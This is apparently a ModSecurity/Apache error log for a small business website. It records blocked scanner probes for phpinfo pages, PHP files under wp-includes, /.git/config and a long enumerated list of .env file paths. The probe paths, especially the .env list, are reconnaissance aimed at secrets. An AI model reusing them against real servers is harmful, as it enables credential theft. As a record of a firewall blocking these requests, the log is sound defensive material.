[Sat May 09 01:17:17.297972 2026] [:error] [pid 34318:tid 34331] [client 13.208.252.11:52924] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php~"] [unique_id "af4ancr3guirgJiKhzAAzgAAAQs"]
[Sat May 09 01:17:17.883774 2026] [:error] [pid 61356:tid 61392] [client 13.208.252.11:52992] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php.bak"] [unique_id "af4anYx3vpB8oWhUq2MekgAAAcQ"]
[Sat May 09 01:17:18.464822 2026] [:error] [pid 61355:tid 61366] [client 13.208.252.11:53040] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php.save"] [unique_id "af4anvkhJTi30CBXmMki0wAAAYU"]
[Sat May 09 01:17:19.050314 2026] [:error] [pid 34318:tid 34328] [client 13.208.252.11:53094] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/staging/phpinfo.php"] [unique_id "af4an8r3guirgJiKhzAA1AAAAQg"]
[Sat May 09 01:17:19.639017 2026] [:error] [pid 61355:tid 61368] [client 13.208.252.11:53130] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beta/phpinfo.php"] [unique_id "af4an_khJTi30CBXmMki3gAAAYc"]
[Sat May 09 01:17:20.226462 2026] [:error] [pid 61355:tid 61380] [client 13.208.252.11:53168] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uat/phpinfo.php"] [unique_id "af4aoPkhJTi30CBXmMki5gAAAZM"]
[Sat May 09 01:17:20.811666 2026] [:error] [pid 34318:tid 34327] [client 13.208.252.11:53210] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/qa/phpinfo.php"] [unique_id "af4aoMr3guirgJiKhzAA2gAAAQc"]
[Sat May 09 01:17:21.393548 2026] [:error] [pid 34318:tid 34321] [client 13.208.252.11:53256] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/preview/phpinfo.php"] [unique_id "af4aocr3guirgJiKhzAA4QAAAQE"]
[Sat May 09 01:17:21.971698 2026] [:error] [pid 51009:tid 51089] [client 13.208.252.11:53288] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www/phpinfo.php"] [unique_id "af4aoeB0GbUWhxgzX9WKewAAAI0"]
[Sat May 09 01:17:22.558953 2026] [:error] [pid 61356:tid 61411] [client 13.208.252.11:53332] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htdocs/phpinfo.php"] [unique_id "af4aoox3vpB8oWhUq2MengAAAdc"]
[Sat May 09 01:17:23.148012 2026] [:error] [pid 61356:tid 61389] [client 13.208.252.11:53372] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public_html/phpinfo.php"] [unique_id "af4ao4x3vpB8oWhUq2MepAAAAcE"]
[Sat May 09 01:17:23.730131 2026] [:error] [pid 61356:tid 61401] [client 13.208.252.11:53398] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/phpinfo.php"] [unique_id "af4ao4x3vpB8oWhUq2MepwAAAc0"]
[Sat May 09 01:17:24.316077 2026] [:error] [pid 34318:tid 34325] [client 13.208.252.11:53428] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/docs/phpinfo.php"] [unique_id "af4apMr3guirgJiKhzAA4gAAAQU"]
[Sat May 09 01:17:24.901696 2026] [:error] [pid 61355:tid 61376] [client 13.208.252.11:36738] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/phpinfo.php"] [unique_id "af4apPkhJTi30CBXmMki-QAAAY8"]
[Sat May 09 01:17:25.484293 2026] [:error] [pid 61317:tid 61342] [client 13.208.252.11:36788] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/administrator/phpinfo.php"] [unique_id "af4apc-fFk_CedOCOYsGlgAAAVY"]
[Sat May 09 01:17:26.062458 2026] [:error] [pid 61355:tid 61374] [client 13.208.252.11:36836] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core/phpinfo.php"] [unique_id "af4apvkhJTi30CBXmMki_wAAAY0"]
[Sat May 09 01:17:26.649451 2026] [:error] [pid 61355:tid 61373] [client 13.208.252.11:36868] [client 13.208.252.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/includes/phpinfo.php"] [unique_id "af4apvkhJTi30CBXmMkjBwAAAYw"]
[Sat May 09 01:57:22.223976 2026] [:error] [pid 61356:tid 61399] [client 45.154.98.197:59461] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "af4kAox3vpB8oWhUq2M2zAAAAcs"]
[Sat May 09 01:57:22.733739 2026] [:error] [pid 51009:tid 51095] [client 45.154.98.197:59793] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "af4kAuB0GbUWhxgzX9Wd7QAAAJM"]
[Sat May 09 01:57:23.237729 2026] [:error] [pid 61356:tid 61396] [client 45.154.98.197:60050] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "af4kA4x3vpB8oWhUq2M20QAAAcg"]
[Sat May 09 01:57:24.241774 2026] [:error] [pid 61355:tid 61365] [client 45.154.98.197:60521] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/txets.php"] [unique_id "af4kBPkhJTi30CBXmMlHLAAAAYQ"]
[Sat May 09 02:22:33.699780 2026] [:error] [pid 61356:tid 61399] [client 3.101.153.28:44300] [client 3.101.153.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "af4p6Yx3vpB8oWhUq2NCyAAAAcs"]
[Sat May 09 02:22:34.548522 2026] [:error] [pid 51009:tid 51083] [client 3.101.153.28:44370] [client 3.101.153.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4p6uB0GbUWhxgzX9WligAAAIc"]
[Sat May 09 02:22:37.607568 2026] [:error] [pid 61356:tid 61404] [client 3.101.153.28:44422] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev/phpinfo.php"] [unique_id "af4p7Yx3vpB8oWhUq2NC7gAAAdA"]
[Sat May 09 02:22:38.269724 2026] [:error] [pid 61355:tid 61382] [client 3.101.153.28:44518] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/old/phpinfo.php"] [unique_id "af4p7vkhJTi30CBXmMlYiQAAAZU"]
[Sat May 09 02:22:38.928810 2026] [:error] [pid 61355:tid 61385] [client 3.101.153.28:44548] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tmp/phpinfo.php"] [unique_id "af4p7vkhJTi30CBXmMlYkAAAAZg"]
[Sat May 09 02:22:39.589363 2026] [:error] [pid 51008:tid 51056] [client 3.101.153.28:44582] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/public/phpinfo.php"] [unique_id "af4p73B58C2Y1tgLtuLn6gAAAEc"]
[Sat May 09 02:22:40.241862 2026] [:error] [pid 51113:tid 51132] [client 3.101.153.28:44624] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info"] [unique_id "af4p8EQfs7sWtqkpQIehcQAAANE"]
[Sat May 09 02:22:40.900280 2026] [:error] [pid 34318:tid 34335] [client 3.101.153.28:42476] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/php-info.php"] [unique_id "af4p8Mr3guirgJiKhzAMYAAAAQ8"]
[Sat May 09 02:22:41.555525 2026] [:error] [pid 51007:tid 51038] [client 3.101.153.28:42526] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpversion.php"] [unique_id "af4p8VMagSGstWKyzzUk8QAAABA"]
[Sat May 09 02:22:42.216521 2026] [:error] [pid 61317:tid 61341] [client 3.101.153.28:42564] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/_phpinfo.php"] [unique_id "af4p8s-fFk_CedOCOYsbWQAAAVU"]
[Sat May 09 02:22:42.873106 2026] [:error] [pid 34318:tid 34342] [client 3.101.153.28:42606] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/old_phpinfo.php"] [unique_id "af4p8sr3guirgJiKhzAMZgAAARY"]
[Sat May 09 02:22:43.523792 2026] [:error] [pid 34318:tid 34334] [client 3.101.153.28:42648] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/server-info.php"] [unique_id "af4p88r3guirgJiKhzAMaAAAAQ4"]
[Sat May 09 02:22:44.200701 2026] [:error] [pid 51113:tid 51127] [client 3.101.153.28:42684] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/server-status.php"] [unique_id "af4p9EQfs7sWtqkpQIehcgAAAMw"]
[Sat May 09 02:22:44.859167 2026] [:error] [pid 51007:tid 51031] [client 3.101.153.28:42730] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/_profiler/phpinfo"] [unique_id "af4p9FMagSGstWKyzzUk_QAAAAk"]
[Sat May 09 02:22:45.517626 2026] [:error] [pid 61356:tid 61410] [client 3.101.153.28:42780] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/_environment"] [unique_id "af4p9Yx3vpB8oWhUq2NC_wAAAdY"]
[Sat May 09 02:22:46.169396 2026] [:error] [pid 61317:tid 61339] [client 3.101.153.28:42814] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/webroot/index.php/_environment"] [unique_id "af4p9s-fFk_CedOCOYsbXAAAAVM"]
[Sat May 09 02:22:46.828550 2026] [:error] [pid 51007:tid 51028] [client 3.101.153.28:42862] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mail/phpinfo.php"] [unique_id "af4p9lMagSGstWKyzzUlAQAAAAY"]
[Sat May 09 02:22:47.484133 2026] [:error] [pid 51009:tid 51092] [client 3.101.153.28:42894] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cpanel/phpinfo.php"] [unique_id "af4p9-B0GbUWhxgzX9WlqgAAAJA"]
[Sat May 09 02:22:48.141300 2026] [:error] [pid 51008:tid 51049] [client 3.101.153.28:42932] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hosting/phpinfo.php"] [unique_id "af4p-HB58C2Y1tgLtuLn-QAAAEA"]
[Sat May 09 02:22:48.798230 2026] [:error] [pid 51007:tid 51036] [client 3.101.153.28:42986] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/webmail/phpinfo.php"] [unique_id "af4p-FMagSGstWKyzzUlBQAAAA4"]
[Sat May 09 02:22:49.451159 2026] [:error] [pid 61355:tid 61377] [client 3.101.153.28:43036] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/smtp/phpinfo.php"] [unique_id "af4p-fkhJTi30CBXmMlYoQAAAZA"]
[Sat May 09 02:22:50.096769 2026] [:error] [pid 51008:tid 51057] [client 3.101.153.28:43086] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.php.bak"] [unique_id "af4p-nB58C2Y1tgLtuLn_AAAAEg"]
[Sat May 09 02:22:50.754087 2026] [:error] [pid 51009:tid 51090] [client 3.101.153.28:43116] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.php.old"] [unique_id "af4p-uB0GbUWhxgzX9WlsgAAAI4"]
[Sat May 09 02:22:51.412246 2026] [:error] [pid 61356:tid 61410] [client 3.101.153.28:49066] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.php~"] [unique_id "af4p-4x3vpB8oWhUq2NDDAAAAdY"]
[Sat May 09 02:22:52.066063 2026] [:error] [pid 61355:tid 61372] [client 3.101.153.28:49110] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php.bak"] [unique_id "af4p_PkhJTi30CBXmMlYpQAAAYs"]
[Sat May 09 02:22:52.721809 2026] [:error] [pid 34318:tid 34342] [client 3.101.153.28:49138] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/phpinfo.php.save"] [unique_id "af4p_Mr3guirgJiKhzAMcgAAARY"]
[Sat May 09 02:22:53.379307 2026] [:error] [pid 51007:tid 51040] [client 3.101.153.28:49194] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/staging/phpinfo.php"] [unique_id "af4p_VMagSGstWKyzzUlCgAAABI"]
[Sat May 09 02:22:54.039337 2026] [:error] [pid 51113:tid 51119] [client 3.101.153.28:49236] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/beta/phpinfo.php"] [unique_id "af4p_kQfs7sWtqkpQIehdwAAAMQ"]
[Sat May 09 02:22:54.711787 2026] [:error] [pid 51113:tid 51126] [client 3.101.153.28:49258] [client 3.101.153.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/uat/phpinfo.php"] [unique_id "af4p_kQfs7sWtqkpQIehewAAAMs"]
